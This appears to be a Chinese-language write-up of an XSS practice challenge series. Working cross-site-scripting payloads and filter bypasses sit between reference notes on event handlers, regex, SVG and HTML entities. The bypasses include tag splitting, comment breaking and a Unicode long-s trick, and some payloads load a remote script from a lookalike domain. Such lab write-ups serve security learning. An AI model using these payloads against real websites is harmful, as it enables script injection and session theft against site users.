Web3
Web 3
上次的 3 想复杂了。
<script>alert1</script><script>{onerror=eval}throw'=alert\x281\x29'</script>
或
<iframe srcdoc="<script>parent.alert(1)</script>"
或
<svg><script>alert(1)</script
事件处理器
事件处理程序(Event Handlers)是 HTML 元素上的属性,用于响应用户交互或其他事件。以下是一些常见的事件处理程序:
常见的有:
鼠标事件: - onclick:当用户单击元素时触发。 -
ondblclick:当用户双击元素时触发。 -
onmousedown:当用户按下鼠标按钮时触发。 -
onmouseup:当用户释放鼠标按钮时触发。 -
onmouseover:当鼠标指针移动到元素上时触发。 -
onmouseout:当鼠标指针移出元素时触发。 -
onmousemove:当鼠标指针在元素上移动时触发。 -
onmouseenter:当鼠标指针进入元素时触发。 -
onmouseleave:当鼠标指针离开元素时触发。
键盘事件: - onkeydown:当用户按下键盘上的任意键时触发。
- onkeypress:当用户按下键盘上的字符键时触发。 -
onkeyup:当用户释放键盘上的键时触发。
表单事件: - onchange:当元素的值发生改变时触发。 -
onsubmit:当用户提交表单时触发。 -
onreset:当用户重置表单时触发。 -
onfocus:当元素获得焦点时触发。 -
onblur:当元素失去焦点时触发。 -
oninput:当用户输入内容时触发。
加载事件: - onload:当页面或图像加载完成时触发。 -
onunload:当用户离开页面时触发。 -
onerror:当加载文档或图像时发生错误时触发。
剪切板事件: - oncopy:当用户复制内容时触发。 -
oncut:当用户剪切内容时触发。 -
onpaste:当用户粘贴内容时触发。
拖放事件: - ondrag:当元素被拖动时触发。 -
ondragstart:当用户开始拖动元素时触发。 -
ondragend:当用户完成拖动元素时触发。 -
ondragenter:当拖动元素进入目标元素时触发。 -
ondragover:当拖动元素在目标元素上移动时触发。 -
ondragleave:当拖动元素离开目标元素时触发。 -
ondrop:当拖动元素放置在目标元素上时触发。
其他事件: - onscroll:当元素滚动时触发。 -
onresize:当元素大小发生改变时触发。 -
onselect:当用户选择文本时触发。 -
oncontextmenu:当用户右键单击元素时触发。
例子:一个阻止用户复制内容的脚本。 1
2
3
4
5
6
7
8
9
<html>
<head>
<title>不能复制</title>
</head>
<body oncopy="return false;">
<p>此文本不能复制</p>
</body>
</html>
--!><script>alert(1)</script>它会被解析为<!-- --><script>alert(1)</script>以及--!>。补全
浏览器会尽可能的修复错误,因此许多写法都在宽容的范围内。
- 不完整的标签,浏览器会自动补全。
1.html 1
2
3awa
<textarea>
awaw - 刚刚的非标准注释。
- 属性值不完整。
1.html 1
2<img src= onerror
=alert(1) - 不使用引号。
1.html 1
<img src=nonexistent onerror=alert(1)>
- 不完整的标签,浏览器会自动补全。
1
2type=image src="awa" onerror
=alert(1)/auto|on.*=|>/ig, '_'会把auto或on.*=或>替换为_。
正则表达式
正则表达式详解
JavaScript 的正则表达式(Regular Expressions)是一个强大的工具,用于匹配和操作字符串。正则表达式由字符和元字符组成,定义了一个搜索模式。以下是对 JavaScript 正则表达式构成的详细解释:
基本构成
- 字面量字符:
- 直接匹配自身的字符。
- 例如:
/abc/匹配字符串 "abc"。
- 元字符:
- 特殊字符,用于表示特定的匹配模式。
- 例如:
.匹配任意单个字符,*匹配前面的字符零次或多次。
常见元字符
.:- 匹配除换行符以外的任意单个字符。
- 例如:
/a.b/匹配 "aab"、"acb" 等。
^:- 匹配输入的开始。
- 例如:
/^abc/匹配以 "abc" 开头的字符串。
$:- 匹配输入的结束。
- 例如:
/abc$/匹配以 "abc" 结尾的字符串。
*:- 匹配前面的字符零次或多次。
- 例如:
/ab*c/匹配 "ac"、"abc"、"abbc" 等。
+:- 匹配前面的字符一次或多次。
- 例如:
/ab+c/匹配 "abc"、"abbc" 等,但不匹配 "ac"。
?:- 匹配前面的字符零次或一次。
- 例如:
/ab?c/匹配 "ac" 和 "abc"。
{n}:- 匹配前面的字符恰好 n 次。
- 例如:
/a{3}/匹配 "aaa"。
{n,}:- 匹配前面的字符至少 n 次。
- 例如:
/a{2,}/匹配 "aa"、"aaa" 等。
{n,m}:- 匹配前面的字符至少 n 次,但不超过 m 次。
- 例如:
/a{2,3}/匹配 "aa" 和 "aaa"。
[]:- 匹配方括号内的任意字符。
- 例如:
/[abc]/匹配 "a"、"b" 或 "c"。
[^]:- 匹配不在方括号内的任意字符。
- 例如:
/[^abc]/匹配除 "a"、"b"、"c" 以外的任意字符。
|:- 逻辑或运算符,匹配左边或右边的表达式。
- 例如:
/a|b/匹配 "a" 或 "b"。
():- 分组,用于将多个字符组合成一个单元。
- 例如:
/(abc)/匹配 "abc"。
转义字符
\:- 用于转义元字符,使其作为字面量字符匹配。
- 例如:
/a\*b/匹配 "a*b"。
特殊字符
\d:- 匹配任意数字字符,相当于
[0-9]。 - 例如:
/\d/匹配 "1"、"2" 等。
- 匹配任意数字字符,相当于
\D:- 匹配任意非数字字符,相当于
[^0-9]。 - 例如:
/\D/匹配 "a"、"b" 等。
- 匹配任意非数字字符,相当于
\w:- 匹配任意字母、数字或下划线字符,相当于
[a-zA-Z0-9_]。 - 例如:
/\w/匹配 "a"、"1" 等。
- 匹配任意字母、数字或下划线字符,相当于
\W:- 匹配任意非字母、数字或下划线字符,相当于
[^a-zA-Z0-9_]。 - 例如:
/\W/匹配 "!"、"@" 等。
- 匹配任意非字母、数字或下划线字符,相当于
\s:- 匹配任意空白字符,包括空格、制表符、换页符等。
- 例如:
/\s/匹配 " "、" 等。
\S:- 匹配任意非空白字符。
- 例如:
/\S/匹配 "a"、"1" 等。
修饰符
i:- 不区分大小写匹配。
- 例如:
/a/i匹配 "a" 和 "A"。
g:- 全局匹配。
- 例如:
/a/g匹配所有 "a"。
m:- 多行匹配。
- 例如:
/^a/m匹配每行开头的 "a"。
示例
以下是一些示例正则表达式及其匹配结果:
1 | const regex1 = /auto|on.*=|>/ig; |
<svg/onload=alert(1)
被解析为
<article><svg onload="alert(1)" <="" article=""></svg></article>
article
<article> 标签是 HTML5
中的新标签,用于定义文章内容。<article>
标签通常用于包含独立的、完整的内容,例如一篇博客文章或新闻报道。<article>
标签是一个块级元素,通常包含标题、作者、日期等信息。<article>
标签可以嵌套在其他 HTML 元素中,例如
<section>、<main> 或
<body>。
其主要作用是提高文档的语义化程度,辅助搜索引擎和屏幕阅读器等工具更好地理解文档结构。<article>
标签的内容应该是独立于页面的其余内容,可以单独分发或重用。
1 |
|
1 | <article> |
SVG
SVG(Scalable Vector Graphics)是一种基于 XML 的矢量图形格式,用于描述二维图形。SVG 图像可以在任何分辨率下缩放而不失真,因此非常适合用于网页和其他需要高质量图形的应用。
SVG 图像可以包含文本、图形、滤镜、动画等元素,可以通过 CSS 和 JavaScript 进行样式和交互控制。SVG 图像可以直接嵌入到 HTML 文档中,也可以作为独立文件使用。
以下是一个简单的 SVG 示例,绘制一个红色的圆形:
1 |
|
SVG 的一些常见元素包括:
<svg>:定义 SVG 图像的命名空间和基本属性。<circle>:定义一个圆形。cx:圆心的 x 坐标。cy:圆心的 y 坐标。r:圆的半径。fill:填充颜色。stroke:边框颜色。stroke-width:边框宽度。
<rect>:定义一个矩形。
x:矩形左上角的 x 坐标。y:矩形左上角的 y 坐标。width:矩形的宽度。height:矩形的高度。fill:填充颜色。stroke:边框颜色。stroke-width:边框宽度。rx:水平方向的圆角半径。ry:垂直方向的圆角半径。
<line>:定义一条直线。
x1:起点的 x 坐标。y1:起点的 y 坐标。x2:终点的 x 坐标。y2:终点的 y 坐标。stroke:线条颜色。stroke-width:线条宽度。
<ellipse>:定义一个椭圆。
cx:椭圆中心的 x 坐标。cy:椭圆中心的 y 坐标。rx:椭圆水平方向的半径。ry:椭圆垂直方向的半径。fill:填充颜色。stroke:边框颜色。stroke-width:边框宽度。
<polygon>:定义一个多边形。
points:多边形的顶点坐标。fill:填充颜色。stroke:边框颜色。stroke-width:边框宽度。
<polyline>:定义一条折线。
points:折线的顶点坐标。fill:填充颜色。stroke:边框颜色。stroke-width:边框宽度。
<path>:定义一个路径。
d:路径的数据。fill:填充颜色。stroke:边框颜色。stroke-width:边框宽度。
1 | <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> |
</style ><script>alert(1)</script>
/* \u574F\u4EBA */ 对应于 /* 坏人 */。
https://www.segmentfault.com.haozi.me/j.js需要公网域名。https://www.segmentfault.com.haozi.me/j.js需要公网域名。
HTML 实体
HTML 实体(HTML Entities)是一种特殊的字符表示方法,用于在 HTML
文档中表示特殊字符。HTML 实体以 & 开头,以
;
结尾,用于表示无法直接输入的字符,例如空格、小于号、大于号等。
以下是一些常见的 HTML 实体:
空格
:不断行的空格。 :半角空格。 :全角空格。 :窄空格。‌:零宽不连字。‍:零宽连字。‎:左至右标记。‏:右至左标记。
其中,‌ 、‍
、‎ 、‏
用于阿拉伯语、波斯语等连写语言中,中文没有这个问题。
符号
<:小于号<。>:大于号>。&:和号&。":双引号"。':单引号'。¢:分号¢。£:英镑符号£。¥:日元符号¥。€:欧元符号€。©:版权符号©。®:注册商标符号®。
数学符号
±:正负号±。×:乘号×。÷:除号÷。
希腊字母
α:α。β:β。γ:γ。δ:δ。ε:ε。
其他
§:章节符号§。¶:段落符号¶。·:中点·。
HTML 实体的作用是在 HTML 文档中表示特殊字符,避免与 HTML 标签冲突,同时提高文档的可读性和可维护性。
<script src="https://www.segmentfault.com.haozi.me/j.js"></script><scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scripscriptt>1
2
3
alert(1)
--><ſcript src="https://xss.haozi.me/j.js"></script>这个有点为难人了。ſ 是U+017F,是一个长 s,用在古英语中。');alert('1'';alert(1)\");alert(1)//1
2
3
4
5</script>
<script>
alert`1`;
</script>
<script>